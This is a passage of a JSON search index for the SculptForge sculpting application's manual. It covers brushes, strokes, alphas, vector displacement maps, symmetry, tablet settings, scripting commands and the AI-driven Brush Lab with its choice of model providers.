Inverts the brush for this stroke (see the table of brushes). For Move, Tendril, Elastic Tendril and KelvinGrab, which have nothing to invert, it moves the surface along the normal instead (below). Shift (before the stroke) Smooths with the Smooth brush, whatever brush is active, at Smooth's own Intensity. With the Paint brush active, Shift still smooths the shape. Shift (after the stroke started) Draws a straight line from where you pressed Shift, snapped to 45 degree steps on screen. Let go of Shift to carry on freehand. Ctrl Paints a mask instead of sculpting; Ctrl+Alt erases it. A Ctrl+click without dragging blurs the mask (Ctrl+Alt+click sharpens it). See Masking. Ctrl+Shift Visibility gestures: isolate, hide and show face groups. See Face Groups and visibility."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"along-the-normal","h":"Along the normal","t":"Move, Tendril, Elastic Tendril and KelvinGrab normally move the surface across the screen. Hold Alt as you start the stroke (Ctrl in the Blender and Maya styles, where that key inverts) and the surface moves along the average normal under the brush where you pressed instead (from the discussions): drag out and it pulls straight out of the surface, drag back and it pushes straight in, however the view is turned. When the normal points right at you, drag up to pull it out. Edit > Preferences > Input > Along the normal can make it Always (no key needed, handy with a pen) or Never."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"the-quick-menu","h":"The Quick Menu","t":"Press Space for the Quick Menu under the cursor: the Brush, Stroke, Alpha and Material tiles, Draw Size, Falloff, Intensity and RGB Intensity, Add / Sub, Sculpt / Paint, Rgb and X symmetry. Hold Space and let go to close it again (it stays while the pointer is on it), or tap Space to keep it open until you click elsewhere or press Esc. Clicking a tile opens its picker. A right click on the canvas opens it too: press the right button and let go without moving, beside the model or on it, and the Quick Menu stays open at the cursor. A right drag still turns the view (and pans or zooms with Alt or Ctrl), and a pen button set to Right click (Edit > Preferences > Tablet) works the same way. Turn it off with Edit > Preferences > Input > Right click opens the Quick Menu."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"radial-menus","h":"Radial menus","t":"Radial (pie) menus put the tools you use most around the cursor. Hold a menu's key, flick the pointer toward an item and let go: it runs. Let go in the middle and nothing happens. Tap the key instead and the pie stays open: click an item, or click in the middle or press Esc to close it. Three menus are built in: Key Menu Items T Brushes Standard, Clay Block, Move, Sharp Crease, Inflate, Pinch, Flatten, Tendril Y Masking Invert Mask, Mask Lasso, Clear Mask, Mask Rectangle, Mask All, Mask Pen, View Mask, Group Masked J Strokes Dots, Drag Stamp, Slide Stamp, Spray, Lazy Stroke (see Strokes) All three keys are free in every input style. Installs that stored their radial menus before 0.10.9 get the Strokes menu from Restore default menus in Edit > Preferences > Input > Radial Menus. Make your own in Edit > Preferences > Input > Radial Menus (up to 8 menus of 8 items each): + adds a menu and opens a search for its first item. An item can be anything the command palette (F3) finds: a brush, a tool, a command or a toggle. Click an item to give it your own label and icon, or Change action. The arrows reorder items (the first points up, the rest go clockwise); the cross removes one. Key sets the key that opens the menu (it is an ordinary shortcut, so Edit > Preferences > Hotkeys lists it too). The button next to it can also open the menu while held: the middle, right, back or forward mouse button, or one of the pen's side buttons. That button then stops doing what it did before (a pen button's Edit > Preferences > Tablet mapping, the middle button's pan, the right button's turn). A mouse button opens the menu only with no modifier key held (#74): Alt+middle still pans, Alt+right still zooms in the Maya style, and Shift+right-drag still turns the view, so a menu on the right button never leaves you without a way to turn it (the panel says how). Export... saves the menu as a small .json file to share; Import... loads one. A menu file holds only action names, never anything that runs: names this version doesn't know are left out. Restore default menus brings back Brushes and Masking. Store Config (Ctrl+Shift+I) keeps your menus."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"whole-part-deformations","h":"Whole-Part deformations","t":"Tool > Deformation has four operations that work on the whole active Part at once, each with its amount beside it (from the discussions). The mask holds what it covers (partly masked areas move partly), hidden faces and open borders stay where they are, and each is one undo step: Operation What it does Polish Flattens fine noise and small bumps while flat areas and sharp edges stay sharp: a scan's grain, or the ripples a voxel remesh leaves on a hard-surface piece. Relax Evens out the spacing of the vertices along the surface without changing its shape, for areas a big Move or Tendril stretched. Smooth Smooths everything; with Smooth keeps volume it doesn't shrink the form. Balloon Fills the form out toward a rounder volume, like blowing into it (experienced sculptors: Inflate Balloon). A negative amount lets the air out. They are commands too: deform_polish amount=60, deform_relax, deform_smooth amount=30 keep_volume=true, deform_balloon amount=-20 (add masked=false to ignore the mask). On a 10-million-vertex Part at amount 50, Smooth takes about 0.5 s, Balloon 0.7 s, Relax 0.9 s and Polish 2 s (Apple M1 Pro)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"strokes","h":"Strokes","t":"The stroke type decides how cursor movement becomes brush dabs. Choose it from the Stroke tile on the left shelf, which opens the stroke picker, or from Sculpt > Stroke. The stroke picker Stroke What it does Setting Dots Even dabs along the path: the classic brush stroke (default). None; spacing comes from the brush. Drag Stamp Click and drag one stamp: the drag length sets its size and its direction the rotation. Great with alphas. None Slide Stamp Click and drag one stamp of the brush's Draw Size: it slides over the surface under the cursor and lands where you let go. Great for VDMs. None Spray Scattered dabs of random size, strength and rotation, for organic texture. Scatter (0 to 2, default 1): how far dabs land from the cursor, as a fraction of the brush size. Lazy Stroke Dots with Steady Stroke on: the brush trails the cursor on a string, for smooth, steady lines. Steady radius (1 to 300 px, default 40): longer is steadier. Scatter appears under the stroke tiles when Spray is selected. Steady Stroke works with every stroke type; see Precision work. Continuous, under the stroke tiles in the stroke picker and in Sculpt > Stroke, keeps the brush working while you hold it still on the model (30 dabs a second), with any stroke type. Notes: With Drag Stamp, the stamp is placed where you first click. While you drag, it is redrawn at the new size and angle, and it is committed when you release. With Slide Stamp, the stamp appears under the cursor at once and follows it while you drag; the mesh under it goes back to how it was as it moves on. Mask strokes (Ctrl) always use dots, even when Drag Stamp or Slide Stamp is selected. Custom brushes set their own dab spacing and can add jitter (see Brush Lab)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"the-stroke-popup","h":"The stroke popup","t":"Press G (Z in the Blender style) for a grid under the cursor, or click the grid button under the Stroke tile on the left shelf. The top row holds the stroke types, then come the modifiers and the shapes: Modifier What it does Instead of holding Add / Sub Brushes add to or subtract from the surface (the same switch as Add / Sub on the top shelf). Alt Smooth Strokes smooth. Shift Mask Strokes paint the mask (Alt or Ctrl unmasks). Ctrl Select Strokes draw the selection (hide) shape. Ctrl+Shift Shapes pick how Mask and Select draw: Mask Pen, Mask Lasso and Mask Rect turn Mask on with that shape, Cut Line, Cut Lasso, Cut Rect and Cut Polyline turn Select on with that Cut shape. A plain drag then masks or cuts with it, no keys held (with a mask shape, Ctrl+drag unmasks; Tool > Cut still sets Away, In, Add or Clip). The label next to the brush cursor names the shape. Pick it again to go back to sculpting. Hold and let go: hold G, move over an item and let go. It opens with your current stroke under the pointer, so letting go without moving changes nothing. A pen hovering over the tablet works the same. Tap and click: tap G and the grid stays open. Click a stroke to pick it (the grid closes); click a modifier to switch it (the grid stays open, so you can set a stroke too). Esc or a click beside the grid closes it. The click never touches the model. Smooth, Mask and Select stay on until you pick the same one again or pick another brush. A small label next to the brush cursor shows which one is on. Dragging beside the model still turns the view. The Strokes radial menu (J, see Radial menus) picks a stroke type too; the popup adds the modifiers and shows every choice at once. Change the key in Edit > Preferences > Hotkeys (Stroke popup), or hold Ctrl+Alt and click the shelf button, then press the new key."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"precision-work","h":"Precision work","t":"Pores, wrinkles, jewellery and hard-surface trims need a brush that goes exactly where you mean, at exactly the size you mean. These tools work with every brush and every stroke type. Steady Stroke (L, or the checkbox in the stroke picker). The brush trails the cursor on a string and only moves once the string is taut, so hand shake never reaches the surface. It works with Dots, Drag Stamp, Slide Stamp and Spray. The viewport draws the string and a faint circle of its length. Steady radius sets the length (longer is steadier). Catch up on release (on by default) finishes the line to where the cursor is when you let go; turn it off to end the line a string's length behind. World Size (Sculpt > Draw & Tablet). Draw Size is normally in screen pixels, so the brush gets smaller on the model as you zoom in. With World Size on, the size is kept in model units instead: a 0.4 mm pore brush stays 0.4 mm whether you are looking at the whole head or one eyelid. Every Draw Size slider shows both numbers, for example Draw Size 12 px 0.40 mm; the mm figure is the brush radius on the surface under the cursor (a model unit is a metre, as when exporting for 3D printing). Finer size control. Do this Change [ / ] 10% smaller / larger Shift+[ / Shift+] 1 px smaller / larger (0.5 px below 2 px) Ctrl+Shift+right-drag Scrub the size finely: 100 px to the right is about 1.5 times larger Draw Size goes down to 0.5 px. Small brushes space their dabs closer together, so a 1 px stroke is still one continuous line, and the cursor adds a small cross so you can see where a tiny brush is. The size, in px and mm, shows next to the cursor for a moment after it changes (all the time with World Size on). Precision drag (Shift+Alt, held while drawing). Start the stroke, then hold Shift+Alt: the brush moves at a quarter of the pen's speed, drawn as a blue ring with a line back to the pen, and works at Precision Intensity (stroke picker, default 10). Let go and the brush glides back under the pen as you keep moving; it never jumps. Hold the keys after the stroke has started: at the press, Shift+Alt still selects and frames a Part, and in the Blender style Alt+click still navigates. The same works in every input style. A pressure curve for each brush. Every brush keeps its own pen pressure curve, applied after the tablet's curve. Edit it in Brush Lab (under the recipe sliders) or in Edit > Preferences > Tablet (under the tablet's curve); both edit the brush you are holding. Drag a point, double-click the curve to add one (up to 5), right-click a point to remove it. The presets are Soft, Linear, Firm and Fine detail: Fine detail keeps light pressure very light and tops out below full strength, for pores and fine lines. Curves are saved as you change them. Accuracy. The brush centre sits exactly under the cursor at any zoom and on HiDPI screens (to a fraction of a pixel), and the surface point under the brush is lightly filtered, so strokes on very dense meshes don't wobble with every tiny bump. A real step in the surface is followed at once."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"alphas","h":"Alphas","t":"An alpha is a grayscale stamp that shapes the brush tip: white is full effect, black is none. It affects every brush, built-in or custom. Choose one from the Alpha tile on the left shelf (the alpha picker) or the Sculpt > Alpha, which also shows a large preview of the current alpha. Falloff fades it: set it to -100 to stamp the whole alpha (a crisp square, or a pattern out to its edges), 0 for a soft round fade, +100 for a soft point. Alphas work on micro levels too, with every stroke type including Drag Stamp. The alpha picker Alpha What it does Round The plain round falloff (no alpha). The default. Square A square stamp with soft edges. Noise A noisy stamp for rough, organic texture. Pores Scattered skin pores of mixed sizes (use with Sub to press them in). Cracks A web of thin cracks, as in dry earth, old paint or stone. Scales Overlapping rounded scales in offset rows, for reptiles and fish. Rivets A three by three grid of round rivet heads, for armour and machines. Stitches A seam with cross stitches along it (drag along the seam with Drag Stamp or a stroke). Fabric Weave Threads woven over and under, for cloth and canvas. Bark Rough vertical ridges and furrows, as on tree bark. Rock Strata Stepped layers of rock, wavy and broken, for cliffs and stone. Wrinkles Fine parallel wrinkle lines, for skin around eyes, knuckles and necks. Skin Folds Soft, broad folds of skin, for bellies, elbows and heavy brows. Hair Strands Long flowing strands, for hair, fur and feathers (drag along the flow). Dot Grid An even grid of soft dots, for studs, textures and patterns. All of them are made by SculptForge itself the first time they're needed (no image files are downloaded or shipped). They show in the alpha picker and in the Library's Alpha tab (brush_set_alpha name=cracks). To use your own image: Click Load image... in the alpha picker or Sculpt > Alpha. Choose a PNG, JPG, BMP, TGA, PSD or GIF. Colour images are converted to grayscale. Turn on Invert loaded image before loading if your image is white where it should have no effect. Images you keep in the Alphas folder of your Library library (Documents/SculptForge/Alphas by default) appear in the picker's Images section, so you can switch between them with one click. The alpha's top edge points up the screen; with Drag Stamp it follows the drag direction instead. From a script: brush_set_alpha name=square, or brush_set_alpha path=bark.png invert=true."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"alpha-options","h":"Alpha options","t":"Under the preview in Sculpt > Alpha: Option What it does Follow stroke direction The alpha turns with the stroke, its top pointing the way you draw: scales, stitches and hair line up along the stroke. Small wobbles are smoothed out, as with Blender's Rake: the direction is taken again each time the cursor has gone 20 pixels. Angle Turns the alpha by a fixed angle (-180 to 180 degrees, counter-clockwise), on its own or on top of the stroke's direction. Angle jitter Turns each dab by a random angle, up to this many degrees either way, to break up repeats. Tile across / Tile down Repeats the alpha 1 to 8 times across and down inside the brush; the preview shows the result. They work with every brush, custom and Community brushes included, and each brush keeps its own (see Each brush keeps its own settings). From a script: brush_alpha_options follow_stroke=true angle=30 angle_jitter=10 tile_x=2 tile_y=2."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"vector-displacement-brushes","h":"Vector displacement brushes","t":"A vector displacement brush stamps a whole 3D shape in one click: a horn, an ear, a cluster of scales, a nostril. An alpha can only push the surface up or down; a vector displacement map (VDM) moves every point of the stamp in any direction, so the shape can lean over, curl and overhang, as nothing made with a height ever can. Horns, an ear curl, scales and two nostrils, one stamp each, and Sculpt > Brush > Vector Displacement"},{"p":"sculpting.html","c":"Sculpting and brushes","a":"stamp-a-vdm","h":"Stamp a VDM","t":"Open Sculpt > Brush and its Vector Displacement section, and click a map: Horn, Ear Curl, Scales, Nostril, Rivet (a domed head whose rim overhangs), Stitches (thread bars across a seam, drawing it together), Skin Fold (a roll of skin hanging over a crease), Wrinkle Line (a fine pinched crease), Crack (a jagged split whose sides part) or Rock Ledge (a stepped shelf jutting out over the layer below). They're also in the Library's Brush tab. The VDM brush becomes the brush and the stroke becomes Drag Stamp. (While the VDM brush is the brush, the Alpha tile on the left shelf shows its map, and the alpha picker lists the maps first. The VDM brush is also in the brush picker: B V D.) Click on the model where the stamp should sit and drag: the drag's length sets the size and its direction points the top of the map, so a horn leans the way you drag. Let go to keep it. Slide Stamp stamps at the Draw Size instead and slides the stamp under the cursor until you let go. Intensity 50 (the default) presses the map at its own shape; 100 doubles it, lower values flatten it. Alt digs the shape in: the sideways motion stays and the height flips (a horn becomes a curved hole, a nostril a bump). Blender's VDM brushes invert the same way. Symmetry mirrors the stamp exactly (the mirrored horn leans the mirrored way), the mask holds it back, and each stamp is one undo step. Sculpt layers record it like any stroke. The Dots stroke works too: each dab adds the shape again, for rows of studs or scales. Tip: a VDM moves points sideways, so it needs points to move: on a coarse mesh the shape breaks up into spikes. Divide first (the model above has 330 000 triangles), and stamp at the highest subdivision level; stepping down and back up keeps the stamp. Use Front faces only on thin parts so the stamp doesn't reach through to the other side."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"make-your-own-vdm","h":"Make your own VDM","t":"In Sculpt > Brush > Vector Displacement, click New VDM Plane. A flat 2 x 2 grid appears as a new Part, seen from the top, with its border masked (so the stamp blends into any surface); the other Parts are hidden. Plane Res sets how many quads it has (256 by default). Sculpt the shape with any brush: overhangs are welcome (Move, Tendril, Inflate). Divide the plane for finer detail. Keep the border flat. Type a name, choose the Map Size (256 pixels holds most shapes, 512 fine detail) and click Create VDM. The new map is saved in your brush library, shows in the list and becomes the VDM brush's map. Show your model again in the Part palette (its eye) and stamp away. The top of the screen when you look at the plane from the top is the top of the map: the side a Drag Stamp drag points to. The plane's UVs record where each point started, so what Create VDM captures is how far each point moved, sideways and up."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"load-and-export-maps","h":"Load and export maps","t":"Load VDM... reads an OpenEXR (16- or 32-bit, any compression) or a .sfvdm; dropping an .exr on the window does the same. A loaded EXR is kept in your brush library as a .sfvdm, so it's there next time. Export EXR... writes the brush's map as a 32-bit float EXR. Right-click a map you made or loaded to delete it. Maps use the convention of Blender's VDM Brush Baker and its Draw brush with Vector Displacement: Channel Means R X: toward the stamp's right G Y: toward the stamp's top (the image's top row; the drag direction of Drag Stamp) B Z: out of the surface Units brush radii: (0, 0, 0.5) lifts the surface by half the radius; the map covers the brush's square So maps from Blender's VDM Brush Baker load as they are, and exported maps work in Blender: add an image texture with the EXR (Color Space: Non-Color) to a Draw brush, set the texture's Mapping to Area Plane, turn on Vector Displacement in the brush's Texture panel, and use the Anchored stroke at Strength 1 (see Working with Blender). Blender's brush touches only the round area of the brush, so the corners of a map are cut off there; in SculptForge the whole square stamps. Maps made in other applications may use other axes. If a map stamps lying on its side, load it again with Swap Y/Z; if it is mirrored or leans the wrong way, with Flip X or Flip Y (Flip Z for a map that digs in where it should rise). Scale multiplies a map made in other units. From a script: vdm_set name=horn or vdm_set path=ear.exr swap_yz=true, vdm_stamp point=0,0.5,0 radius=0.3 angle=30, vdm_new_plane, vdm_capture name=\"My horn\" exr=horn.exr, vdm_export path=horn.exr, vdm_list, vdm_delete name=\"My horn\"."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"kelvinlet-brushes","h":"Kelvinlet brushes","t":"KelvinGrab, KelvinTwist, KelvinScale and Elastic Tendril move the surface the way an elastic solid moves when you push, twist or squeeze it. Each is the exact solution of the equations of elasticity for a softened point load (the \"regularized Kelvinlets\" of de Goes and James, SIGGRAPH 2017), so the surface follows your hand like clay: there is no falloff edge to see, the deformation fades smoothly over about twice the brush radius, and the material around it reacts the way real material does. KelvinGrab pulls with symmetry and Squash at 100, and a KelvinTwist in the middle: no falloff edge anywhere KelvinGrab works like Move: press on the model and drag; the point under the cursor goes where the cursor goes and the surface around it follows elastically. KelvinTwist turns the surface around where you pressed, about the view direction. Drag right to turn clockwise, left to turn back; the turn is strongest at the centre and fades out, and every ring keeps its shape (a true rotation), so twisted shapes keep their volume. Good for twisting horns, tentacles, folds of cloth and spiral shells. KelvinScale pinches (drag left) or swells (drag right) the surface toward or away from where you pressed. It never folds the surface through the centre, however hard you pinch. Elastic Tendril pulls horns, tentacles and spikes out along the stroke like Tendril, but its pull narrows as it travels, so shapes taper to a tip by themselves. Their settings are in Sculpt > Brush > Kelvinlet & Capture: Squash (0-100) is how the material keeps its volume (its Poisson's ratio). At 0 it's rubbery: pulling it just stretches it. At 100 it's incompressible clay: pressing in makes the surface bulge up around your thumb and pulling out draws the sides in, as clay does. 50 is the default. Sharpness gives the brush a tighter, more pointed peak at its centre while keeping its soft reach, for pulling out points and tips. Intensity sets how strongly the surface follows (50 and above: the grabbed point follows the cursor exactly), pen pressure scales it, and like every brush they respect symmetry, the mask, hidden parts and sculpt layers, and each stroke is one undo step. They don't remesh with dynamic topology on (like Move). How it stays fast: a Kelvinlet's influence never quite reaches zero, so each move works out how far its effect is still more than 4% of its largest (about twice the brush radius) and only touches the points inside that distance, fading the last part smoothly to nothing. A fast drag between two frames is worked out in small pieces in one pass. Because it reaches further than Move, it costs more: on models of 20 million triangles and up, keep the brush small or step down a subdivision level for big elastic moves (see Performance)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"capture-an-alpha-or-a-vdm-from-the-model","h":"Capture an alpha or a VDM from the model","t":"Any detail you have sculpted can become a brush in two seconds: Capture from view (Ctrl+Alt+C, or the button in Sculpt > Brush > Kelvinlet & Capture). A horn captured from the sphere (the window: its height alpha and VDM) and cloned along a stroke below it Press Ctrl+Alt+C and drag a square over the detail, corner to corner (hold Shift as you press to drag a circle from its centre instead). Esc cancels. The Capture from view window shows two results, side by side: a height alpha: the surface's height toward you, measured from a plane fitted to the surface and scaled to black-to-white; a vector displacement map: the true 3D offset of every point from a smooth base surface, in that base's own frame, so overhangs and sideways leans come along. Adjust if needed: Base Smoothing decides what counts as detail (0 measures from a flat plane, the whole shape; higher takes more of the broad form away, so a wrinkle captured on a curved forehead stamps flat), Edge Fade blends the border out, Resolution sets the pixels, Fit plane and Invert apply to the alpha. Changes capture again from the same square. Use it: Use as Alpha (it shapes every brush), Use as VDM (the VDM brush stamps it with Drag Stamp), Detail Clone (paint copies along strokes) or Save to Library: the alpha goes to your Library Alphas folder as a PNG and the VDM to your brush library, both with thumbnails (the VDM also shows in the Library Brush tab, the alpha picker and Sculpt > Brush > Vector Displacement). The square is captured along your view, so look at the detail straight on. The capture takes about a tenth of a second for a small detail and a second or so for a large patch of a 20-million-triangle model."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"detail-clone","h":"Detail Clone","t":"DetailClone stamps the VDM brush's map (a captured one or any other) along your stroke, one copy every stamp width, each turned so its top points the way the stroke goes: rows of scales, rivets, stitches or warts that follow a curve. Clone Spacing sets the distance between copies (1 = edge to edge) and Clone follows stroke can keep every copy upright instead. Draw Size sets their size and Intensity their depth; a click without moving stamps one. Each copy is shaped to the surface under it."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"symmetry","h":"Symmetry","t":"Symmetry mirrors every stroke, including mask and paint strokes. X mirrors left and right. It is on by default; press X to toggle it. Y mirrors top and bottom, and Z mirrors front and back. They have no default key (you can assign one; see The interface). The X, Y and Z buttons are on the top shelf and in Sculpt > Symmetry & Gizmo. You can combine them: X and Z together give four-way symmetry. Symmetry mirrors across the scene's axes through the origin. Models that are centred on the origin, such as SculptForge's primitives and most character exports, mirror correctly. If a stroke lands in the wrong place on the other side, the model is off-centre: turn on Local (below)."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"radial-symmetry","h":"Radial symmetry","t":"Radial symmetry repeats every stroke around an axis, for wheels, flowers, columns, crowns and other round ornaments. Turn it on with R on the top shelf or in Sculpt > Symmetry & Gizmo > Symmetry, then set: Radial Count: how many copies, evenly spaced around the axis (2 to 64; 8 to start with). X axis, Y axis or Z axis: the axis the copies turn around (Y, up, by default). Radial symmetry works with the mirror axes: with X on as well, each copy is also mirrored, so 8 radial copies make 16. It applies wherever symmetry does: every brush and stroke type, mask and smooth strokes, vertex paint and texture painting, Mask Rectangle / Mask Lasso and Select Rectangle / Select Lasso, Dynamic Topology (new triangles appear on every copy) and Insert on the model. The brush cursor shows on every copy, so you can see where each one lands."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"local-symmetry","h":"Local symmetry","t":"Local (next to R in Sculpt > Symmetry & Gizmo > Symmetry) puts the mirror planes and the radial axis through the middle of the active Part (the centre of its bounding box) instead of the world origin. Use it for a Part that isn't centred on the origin, such as a button on a jacket or a wheel on a car. The centre follows the Part: it is worked out again when you switch Parts or after an edit. R and Local have no default key; you can assign one (see The interface). Projects save the symmetry settings, radial and local included. Scripts and sculptforge-cli use the same settings: commands that take symmetry (stroke, vdm_stamp, mask_rect, mask_lasso, hide_rect, hide_lasso, insert_primitive, insert_mesh) also take radial (the count), radial_axis (x, y or z) and local (true for the Part's centre), for example stroke points=... symmetry=x radial=8 radial_axis=y."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"pen-pressure-and-tablets","h":"Pen pressure and tablets","t":"SculptForge reads pen pressure from graphics tablets and pen displays through the operating system. When it receives pen input, Sculpt > Draw & Tablet shows Pen pressure with the current value; before that it says No pen detected. Two toggles decide what pressure does. They are on the top shelf and in Sculpt > Draw & Tablet > Tablet: Toggle Default Effect Pressure > Strength On Pen pressure scales the brush strength. Pressure > Size Off Pen pressure scales the brush size (down to 5% at the lightest touch). Pressure applies only to strokes made with the pen; mouse strokes always use full pressure. Custom brushes also have a Pressure curve setting that makes them respond to a light or a firm touch (see Brush Lab). If the pen moves the cursor but pressure does nothing, see Troubleshooting. Edit > Preferences > Tablet checks and tunes the pen: a pressure meter and a draw-test area, to see what the tablet reports at a light touch and a full press; a pressure curve for all brushes (Soft, Linear or Firm, or set Curve, Minimum, Maximum, Threshold and Full pressure at yourself), applied before each brush's own curve; the eraser end (default Invert, like holding Alt) and the side buttons (default: lower button right-click to rotate the view, upper button Invert, third button Pan view). A side button can open a radial menu instead (Edit > Preferences > Input > Radial Menus). Mouse mode (relative): the pen moves the cursor by how far it moves, like a mouse, and putting it down elsewhere on the tablet leaves the cursor where it was, with the driver in pen mode or in its own mouse mode. While the pen is in range the arrow is drawn at the brush (the system's is hidden), so brush, arrow and clicks always agree (#72). Store Config (Ctrl+Shift+I) keeps these settings. Setup notes for Windows Ink, macOS and Linux are in docs/tablet.md."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"customize-the-bottom-shelf","h":"Customize the bottom shelf","t":"The bottom shelf holds your most-used brushes. By default it shows Standard, Clay, Clay Block, Sharp Crease, Move, Smooth, Inflate, Pinch, Flatten, Crease, Trim, Tendril, Layer, Nudge and Paint. The bottom shelf Add a brush: click the + tile at the end of the shelf and pick a brush, built-in or custom. Or right-click any tile in the brush picker and choose Add to bottom shelf. Remove a brush: right-click its tile and choose Remove from shelf. Reorder: turn on Edit > Preferences > Config > Enable Customize, then Ctrl+Alt+drag a tile to a new place. Change a brush's key: Ctrl+Alt+click its tile, then press the new key. Shelf changes last until you quit. Press Ctrl+Shift+I (Store Config) to keep them. See The interface for more on customizing."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"sculpt-from-a-script","h":"Sculpt from a script","t":"The stroke command applies a brush along a path on the active Part, as one undo step. It is useful for scripted detailing and for AI agents: sculptforge-cli -c 'new_sphere subdivisions=6; stroke brush=Crease points=\"-0.6,0.2,0 0,0.4,0 0.6,0.2,0\" symmetry=x; export_glb path=out.glb' Points are projected onto the surface along view (default 0,0,-1, the front view). radius (world units), strength, pressure, invert, spacing, curve and seed work as in the viewport. See Scripting and automation."},{"p":"sculpting.html","c":"Sculpting and brushes","a":"see-also","h":"See also","t":"Brush Lab and sharing brushes: design brushes with AI, the brush library and brush codes Masking: protect areas from every brush Vertex Paint and materials: Paint brush, Rgb and colour Sculpt layers and blend shapes: sculpt into a layer you can dial in and out Dynamic topology: brushes that add triangles where they need them (dynamic topology) Keyboard and mouse reference"},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"","h":"Brush Lab and sharing brushes","t":"Brush Lab designs sculpting brushes from a description: type \"dry cracked mud\" and an AI model builds the brush, then you refine it in words or with sliders. This chapter covers Brush Lab, the AI providers it can use, the recipe settings, your brush library, and the ways to share brushes: .sfbrush files, one-line brush codes, studio folders and the community gallery. Brush Lab with a brush designed from a description"},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"what-a-custom-brush-is","h":"What a custom brush is","t":"A custom brush is a recipe: about twenty named values that describe how the brush moves the surface, the shape of its tip, a surface pattern, stroke spacing and masking. A recipe is data, never code, so brushes are safe to download and share. The AI only fills in these values; you can see and change every one of them. Custom brushes work everywhere built-in brushes do: on the bottom shelf, in the brush picker (B), with Alt, Shift, masks, symmetry, strokes and alphas."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"open-brush-lab","h":"Open Brush Lab","t":"Click AI Brush on the top shelf, or AI Brush at the top of Sculpt > Brush. Brush Lab is a floating window; it opens at the top-left corner of the canvas the first time, and you can drag it anywhere. Click the button again, or the window's close box, to hide it. Not there? AI features are off: turn them on in Edit > Preferences > AI (see Turning AI off)."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"design-a-brush","h":"Design a brush","t":"Open Brush Lab. Type a description in the field at the bottom, the way you'd describe the brush to another sculptor, for example bark of an old oak tree or soft folds in heavy cloth. Or click one of the starter ideas, such as Overlapping dragon scales or Dry cracked mud. Press Enter or click Create. While the model works, the conversation shows \"Designing brush\". When the brush is ready, it becomes the active brush and the status bar says so. Try it on the model. The model replies with the brush name in brackets and a sentence on what the brush does and what to try next. Errors (no connection, rate limits, a model that didn't return a recipe) appear in red in the same conversation."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"refine-a-brush-in-words","h":"Refine a brush in words","t":"With Refine the selected brush ticked, your next message changes the active custom brush instead of creating a new one: \"sharper\", \"less buildup\", \"make the scales smaller\". The model sees the current recipe and your conversation so far. Clear chat starts a new conversation."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"tune-a-brush-with-sliders","h":"Tune a brush with sliders","t":"Open the Recipe section of Brush Lab to see every value of the active custom brush. The same editor appears in Sculpt > Brush as Edit recipe: NAME when a custom brush is active. Hover a slider for a description. Setting Range What it does Direction normal, inflate, view, stroke Which way the surface moves: out of the surface, outward in every direction, toward the camera, or along the stroke. Depth -1 to 1 Adds material (positive) or carves it away (negative). Plane none, clay, flatten, fill, scrape Planar behaviour: flat-topped clay layers, levelling, raising only low spots, or cutting only high spots. Plane amount 0 to 1 Strength of the plane behaviour. Pinch -1 to 1 Pulls the surface toward the stroke for crisp creases (negative spreads it apart). Drag 0 to 1 Smears the surface along the stroke, like a palette knife. Auto smooth 0 to 1 Relaxes the surface after each dab for softer, cleaner results. Hardness 0 to 1 Soft airbrush edge (0) to hard-edged stamp (1). Tip sharpness 0 to 1 Round, broad tip (0) to a narrow needle point (1). Pattern none, noise, scales, ridges, pores, cracks A surface texture stamped by the brush. Pattern size 0.03 to 2 Size of the pattern relative to the brush size. Pattern amount 0 to 1 How strongly the pattern shows. Spacing 0.02 to 2 Distance between dabs, relative to the brush size. Jitter 0 to 1 Random scatter of dabs around the stroke. Pressure curve 0.3 to 3 Tablet response: above 1 needs a firmer press, below 1 responds to a light touch. Front faces only on / off Only affects surfaces facing the camera, protecting thin parts. Cavity mask -1 to 1 Positive: only cavities. Negative: only ridges and peaks (as Edge Wear does). The name field at the top of the editor renames the brush when you press Enter. Tip: to adapt a built-in recipe such as Dragon Scales, select it and move the sliders. Your version is saved to your library and replaces the built-in one; delete it to get the original back."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"choose-an-ai-provider","h":"Choose an AI provider","t":"Brush Lab works out of the box with no account or key. Open the AI provider section of Brush Lab (also in Mesh > Generate 3D > AI brush provider) to choose another service. Provider What you need Notes Free - no account or key (default) Nothing An open model (GPT-OSS 20B) hosted by Pollinations.ai. Only your description and settings are sent. Rate limited to about one request every few seconds. If it can't be reached, a running local Ollama is used instead. Anthropic (Claude) - your key An Anthropic API key Uses claude-opus-5-5 by default. Effort (low, medium, high) trades speed for more considered brushes. OpenAI-compatible (OpenAI, Ollama, LM Studio...) An endpoint, a model name and, for hosted services, a key Any server that speaks the OpenAI chat completions API, including local models. For Anthropic and OpenAI-compatible providers you can edit the Endpoint, Model and API key fields. Leave the key empty to use the ANTHROPIC_API_KEY or OPENAI_API_KEY environment variable. Click Save settings to keep your choice; settings and keys are stored only on your computer, in ai.json in the SculptForge settings folder (readable only by you). Requests go only to the endpoint you set."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"run-a-model-on-your-own-computer","h":"Run a model on your own computer","t":"For private, offline use with no rate limits, run a local model with Ollama or LM Studio: Install Ollama and download the recommended model: ollama pull qwen3:4b-instruct 